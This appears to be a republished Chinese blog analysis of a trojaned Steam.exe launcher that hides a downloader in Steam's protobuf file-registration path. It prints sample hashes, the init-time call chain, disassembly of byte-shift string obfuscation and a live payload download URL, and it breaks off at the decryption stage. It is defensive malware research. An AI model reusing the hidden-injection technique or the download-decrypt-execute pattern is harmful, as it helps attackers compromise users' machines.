【病毒分析】某银狐伪装Steam客户端启动器”Steam.exe“、”Telegram简体中文语言包“隐蔽投毒
菜狗
菜狗
只会看监控的实习生
2026年7月11日%2008:00
广东
在小说阅读器读本章
去阅读
我一哥们刚换的新电脑准备爽玩3A大作,然而在安装steam的时候不知道从哪里下载到一个看似人畜无害的steam,运行之后没反应,这才发现不对劲给我拿过来看一下。样本分析发现,是一份被极其隐蔽patch过的9.69.92.62版本steam启动器,其并未使用常见的方式在入口点或%20TLS%20回调处直接劫持控制流,而是将恶意代码插入到%20steam%20客户端自带的%20protobuf%20注册路径中。程序启动后,MSVC%20CRT会在 WinMain 前执行全局初始化函数表,通过 clientmetrics.proto 的%20file-registration%20初始化链触发恶意代码。之后动态解析API,下载bmp将文件写入内存,经自定义解密逻辑原地变换后,最终被作为 gdi32!EnumObjects 的回调函数执行,可以说手法非常的隐蔽。
vt和微步分析情况:
样本主要流程图如下:
一、样本分析
1.1%20样本基本信息
| 项目 | 内容 |
|---|---|
| 文件名 | Steam.exe |
| 文件大小 | 4.46%20MB |
| 架构 | 32-bit%20PE |
| ImageBase | 0x400000 |
| OEP | 0x58F9CD |
| TLS%20Callback | 0x58F9E5 |
| SHA1 | 98fe8fca4e9d670acffa041de3cc8c5ed8a04d82 |
| MD5 | D58F9D3409892188764DA6F311E915FD |
| SHA256 | E0F6227F02D8BF6263938088AF91D3F073DB4A43A529BA46665CB2E90F612799 |
1.2%20启动阶段
样本入口点 0x58F9CD 是标准%20MSVC%20CRT%20启动桩,功能为初始化安全%20cookie%20后进入 __scrt_common_main_seh:
char *__usercall%20start@<eax>(char *a1@<esi>){%20 __security_init_cookie();%20 return __scrt_common_main_seh(a1);}
在 __scrt_common_main_seh 中,程序会在调用 WinMain 前执行全局初始化函数表:
__initterm 会从 First 到 Last 顺序遍历函数指针,遇到非空表项即执行。经枚举,0x728568-0x7289CC 范围内共有%20280%20个非空初始化表项,其中最早可达恶意插入点的是:
0x7285A0%20->%200x446B80
因此,恶意代码的首次触发发生在 WinMain 前的%20CRT%20全局初始化阶段。
1.3%20protobuf%20注册阶段
clientmetrics.proto 是%20Steam%20正常代码里的%20protobuf%20描述文件。程序启动时%20protobuf%20会把这些%20.proto%20描述注册到内部表里。
初始化表项 0x7285A0 指向函数 0x446B80。该函数是一个小型全局注册包装器,用于注册 clientmetrics.proto:
.text:00446B80%20 %20 %20 %20 %20 %20 %20 %20 %20push%20 %20 offset%20unk_812A50%20;%20_initterm%20表项%200x7285A0%20指向本函数;传入%20clientmetrics.proto%20 0x812A50。.text:00446B85%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20ecx,%20offset%20unk_826318.text:00446B8A%20 %20 %20 %20 %20 %20 %20 %20 %20call%20 %20 sub_5C5D20.text:00446B8F%20 %20 %20 %20 %20 %20 %20 %20 %20retn
unk_812A50 的首字节初值为 0,说明该%20proto%20文件尚未注册。unk_812A50%20+%200x0C 指向字符串 clientmetrics.proto,可确认该对象为%20protobuf%20file-registration%20数据。
调用链如下:
0x446B80%20 ->%200x5C5D20%20Protobuf_FileRegistration_StaticCtor%20 ->%200x5C6220%20Protobuf_RegisterFileRecursive_ThenInjectedCall%20 ->%200x5C2180%20Protobuf_RegisterFile_InjectedPayloadCall
在 0x5C2180 的函数入口附近,样本先执行恶意主体,再继续正常%20file%20registration%20逻辑:
该插入点位于%20protobuf
message.cc 的%20file-registration%20路径,代码中可见调试路径字符串:
G:\\Valve\\steam\\thirdpartycode\
onredist\\protobuf\\protobuf-3.15.3\\src\\google\\protobuf\\message.cc
同一初始化表中还有%204%20个后续表项也可到达该%20file-registration%20插入点:
| 初始化表项 | 初始化函数 | proto%20对象 | proto%20名称 |
|---|---|---|---|
0x007285B0 |
0x00446C00 |
0x00812B74 |
uifontfile_format.proto |
0x00728610 |
0x00447690 |
0x00813010 |
steammessages_base.proto |
0x00728628 |
0x00447860 |
0x00813568 |
enums_clientserver.proto |
0x007286C4 |
0x00447DF0 |
0x00816C58 |
google/protobuf/descriptor.proto |
这些表项进一步说明,恶意逻辑被挂接在多个%20protobuf%20全局注册入口上。由于 _initterm 顺序遍历,首次触发点仍是 0x7285A0%20->%200x446B80。
1.4%20其他挂钩点
除%20file-registration%20插入点外,样本还在%20protobuf%20type-registration%20路径0x5C227C开头插入恶意代码:
另有一个恶意%20thunk%20位于 0x5C34C0:
.text:005C34C0%20MaliciousPayloadThunk%20proc%20near%20 %20 %20 %20 %20;%20CODE%20XREF:%20sub_5C6C20:loc_5C6E6C↓p.text:005C34C0%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20sub_5C7C80+8↓p%20....text:005C34C0%20 %20 %20 %20 %20 %20 %20 %20 %20jmp%20 %20 %20Malicious_DownloadDecryptExecutePayload%20;%20由启动前全局初始化链通过%200x7285A0%20->%200x446B80%20->%200x5C5D20%20->%200x5C6220%20->%200x5C2180%20->%200x5C21AE%20到达。.text:005C34C0%20MaliciousPayload
该%20thunk%20被多个代码位置调用,包括:
0x5C6E6C0x5C7C880x5CDCC10x5CDCD60x62E3D9
当前闭环分析中,最早执行恶意主体的路径来自 0x5C21AE,即%20protobuf%20file-registration%20链。
1.5%20恶意代码分析
恶意代码的主体位于:0x005C34D0
函数开头在栈上构造多个模块名:
User32Gdi32wininetmsvcrtntdllShell32
随后通过%20PEB%20获取%20kernel32%20基址,并使用自定义%20API%20哈希逻辑解析函数地址的经典操作。
1.6%20恶意代码下载逻辑
恶意代码会申请一段小缓冲区,调用 GetModuleFileNameA 获取当前模块路径,并检查路径中是否包含“语言”字符串:
.text:005C3707%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_34],%200D3h%20;%20D3%20EF%20D1%20D4%20decode%20to%20\"语言\".text:005C370B%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_33],%200EFh.text:005C370F.text:005C370F%20loc_5C370F:%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20DATA%20XREF:%20sub_5C4A20+A0↓o.text:005C370F%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_32],%200D1h.text:005C3713%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_31],%200D4h
如果命中该字符串,样本会解码字符串 stir 为 open,再解码%20Telegram%20URI:
.text:005C37CE%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8],%2077h%20;%20'w'%20;%20Obfuscated%20URI;%20subtract%203%20per%20byte%20=>%20tg://setlanguage?lang=classic-zh-cnn..text:005C37D5%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+1],%206Ah%20;%20'j'.text:005C37DC%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+2],%203Dh%20;%20'='.text:005C37E3%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+3],%2032h%20;%20'2'.text:005C37EA%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+4],%2032h%20;%20'2'.text:005C37F1%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+5],%2076h%20;%20'v'.text:005C37F8%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+6],%2068h%20;%20'h'.text:005C37FF%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+7],%2077h%20;%20'w'.text:005C3806%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+8],%206Fh%20;%20'o'.text:005C380D%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+9],%2064h%20;%20'd'.text:005C3814%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+0Ah],%2071h%20;%20'q'.text:005C381B%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+0Bh],%206Ah%20;%20'j'.text:005C3822%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+0Ch],%2078h%20;%20'x'.text:005C3829%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+0Dh],%2064h%20;%20'd'.text:005C3830%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+0Eh],%206Ah%20;%20'j'.text:005C3837%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+0Fh],%2068h%20;%20'h'.text:005C383E%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+10h],%2042h%20;%20'B'.text:005C3845%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+11h],%206Fh%20;%20'o'.text:005C384C%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+12h],%2064h%20;%20'd'.text:005C3853%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+13h],%2071h%20;%20'q'.text:005C385A%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+14h],%206Ah%20;%20'j'.text:005C3861%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+15h],%2040h%20;%20'@'.text:005C3868%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+16h],%2066h%20;%20'f'.text:005C386F%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+17h],%206Fh%20;%20'o'.text:005C3876%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+18h],%2064h%20;%20'd'.text:005C387D%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+19h],%2076h%20;%20'v'.text:005C3884%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+1Ah],%2076h%20;%20'v'.text:005C388B%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+1Bh],%206Ch%20;%20'l'.text:005C3892%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+1Ch],%2066h%20;%20'f'.text:005C3899%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+1Dh],%2030h%20;%20'0'.text:005C38A0%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+1Eh],%207Dh%20;%20'}'.text:005C38A7%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+1Fh],%206Bh%20;%20'k'.text:005C38AE%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+20h],%2030h%20;%20'0'.text:005C38B5%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+21h],%2066h%20;%20'f'.text:005C38BC%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+22h],%2071h%20;%20'q'.text:005C38C3%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_B8+23h],%200.text:005C38CA%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_18],%200.text:005C38D1%20 %20 %20 %20 %20 %20 %20 %20 %20jmp%20 %20 %20short%20loc_5C38DC.text:005C38D3%20;%20---------------------------------------------------------------------------.text:005C38D3.text:005C38D3%20loc_5C38D3:%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20CODE%20XREF:%20Malicious_DownloadDecryptExecutePayload+42A↓j.text:005C38D3%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20edx,%20[ebp+var_18].text:005C38D6%20 %20 %20 %20 %20 %20 %20 %20 %20add%20 %20 %20edx,%201.text:005C38D9%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_18],%20edx.text:005C38DC.text:005C38DC%20loc_5C38DC:%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20CODE%20XREF:%20Malicious_DownloadDecryptExecutePayload+401↑j.text:005C38DC%20 %20 %20 %20 %20 %20 %20 %20 %20cmp%20 %20 %20[ebp+var_18],%2023h%20;%20'#'.text:005C38E0%20 %20 %20 %20 %20 %20 %20 %20 %20jge%20 %20 %20short%20loc_5C38FC.text:005C38E2%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20eax,%20[ebp+var_18].text:005C38E5%20 %20 %20 %20 %20 %20 %20 %20 %20movsx%20 %20ecx,%20[ebp+eax+var_B8].text:005C38ED%20 %20 %20 %20 %20 %20 %20 %20 %20sub%20 %20 %20ecx,%203.text:005C38F0%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20edx,%20[ebp+var_18].text:005C38F3%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+edx+var_B8],%20cl.text:005C38FA%20 %20 %20 %20 %20 %20 %20 %20 %20jmp%20 %20 %20short%20loc_5C38D3
wj=22vhwodqjxdjhBodqj@fodvvlf0}k0fq每字节减 3tg://setlanguage?lang=classic-zh-cnn
最终通过 ShellExecuteA 打开url对Telegram进行汉化,应该是用于纸飞机上钓鱼。
1.7%20下载器阶段
恶意代码继续加载 wininet,解析以下%20API:
InternetOpenAInternetOpenUrlAInternetReadFile
下载地址经逐字节减法解码得到:
.text:005C3C1F%20 %20 %20 %20 %20 %20 %20 %20 %20mov%20 %20 %20[ebp+var_94],%206Dh%20;%20'm'%20;%20Obfuscated%20URL;%20subtract%205%20per%20byte%20=>%20http://wy29d68v.com/1/lonn.bmp..text:005C3C26 mov [ebp+var_94+1], 79h ; 'y'.text:005C3C2D mov [ebp+var_94+2], 79h ; 'y'.text:005C3C34 mov [ebp+var_94+3], 75h ; 'u'.text:005C3C3B mov [ebp+var_94+4], 3Fh ; '?'.text:005C3C42 mov [ebp+var_94+5], 34h ; '4'.text:005C3C49 mov [ebp+var_94+6], 34h ; '4'.text:005C3C50 mov [ebp+var_94+7], 7Ch ; '|'.text:005C3C57 mov [ebp+var_94+8], 7Eh ; '~'.text:005C3C5E mov [ebp+var_94+9], 37h ; '7'.text:005C3C65 mov [ebp+var_94+0Ah], 3Eh ; '>'.text:005C3C6C mov [ebp+var_94+0Bh], 69h ; 'i'.text:005C3C73 mov [ebp+var_94+0Ch], 3Bh ; ';'.text:005C3C7A mov [ebp+var_94+0Dh], 3Dh ; '='.text:005C3C81 mov [ebp+var_94+0Eh], 7Bh ; '{'.text:005C3C88 mov [ebp+var_94+0Fh], 33h ; '3'.text:005C3C8F.text:005C3C8F loc_5C3C8F: ; CODE XREF: sub_5C45A0+DD↓p.text:005C3C8F mov [ebp+var_94+10h], 68h ; 'h'.text:005C3C96 mov [ebp+var_94+11h], 74h ; 't'.text:005C3C9D mov [ebp+var_94+12h], 72h ; 'r'.text:005C3CA4 mov [ebp+var_94+13h], 34h ; '4'.text:005C3CAB mov [ebp+var_94+14h], 36h ; '6'.text:005C3CAF mov [ebp+var_94+15h], 34h ; '4'.text:005C3CB3 mov [ebp+var_94+16h], 71h ; 'q'.text:005C3CB7 mov [ebp+var_94+17h], 74h ; 't'.text:005C3CBB mov [ebp+var_94+18h], 73h ; 's'.text:005C3CBF mov [ebp+var_94+19h], 73h ; 's'.text:005C3CC3 mov [ebp+var_94+1Ah], 33h ; '3'.text:005C3CC7 mov [ebp+var_94+1Bh], 67h ; 'g'.text:005C3CCB mov [ebp+var_94+1Ch], 72h ; 'r'.text:005C3CCF mov [ebp+var_94+1Dh], 75h ; 'u'.text:005C3CD3 mov [ebp+var_94+1Eh], 0.text:005C3CD7 mov [ebp+var_20], 0.text:005C3CDE jmp short loc_5C3CE9.text:005C3CE0 ; ---------------------------------------------------------------------------.text:005C3CE0.text:005C3CE0 loc_5C3CE0: ; CODE XREF: Malicious_DownloadDecryptExecutePayload+83E↓j.text:005C3CE0 mov edx, [ebp+var_20].text:005C3CE3 add edx, 1.text:005C3CE6 mov [ebp+var_20], edx.text:005C3CE9.text:005C3CE9 loc_5C3CE9: ; CODE XREF: Malicious_DownloadDecryptExecutePayload+80E↑j.text:005C3CE9 cmp [ebp+var_20], 1Eh.text:005C3CED jge short loc_5C3D10.text:005C3CEF call ReturnHashShift6.text:005C3CF4 sub eax, 1.text:005C3CF7 mov ecx, [ebp+var_20].text:005C3CFA movsx edx, [ebp+ecx+var_94].text:005C3D02 sub edx, eax.text:005C3D04 mov eax, [ebp+var_20].text:005C3D07 mov [ebp+eax+var_94], dl.text:005C3D0E jmp short loc_5C3CE0
http://wy29d68v.com/1/lonn.bmp
下载前样本申请 RWX 内存:
VirtualAlloc(NULL, 0x400001, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
随后循环读取远程数据,每轮最多读取 8193 字节。只有当累计读取长度等于 0x22808 字节时,才进入后续解密流程。
但是等我访问这个地址下载时已经不可以下载,没办法这个暂时就分析不了了...
1.8 解密算法与执行阶段分析
下载完成后,样本调用0x5C40A0解密函数:

版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论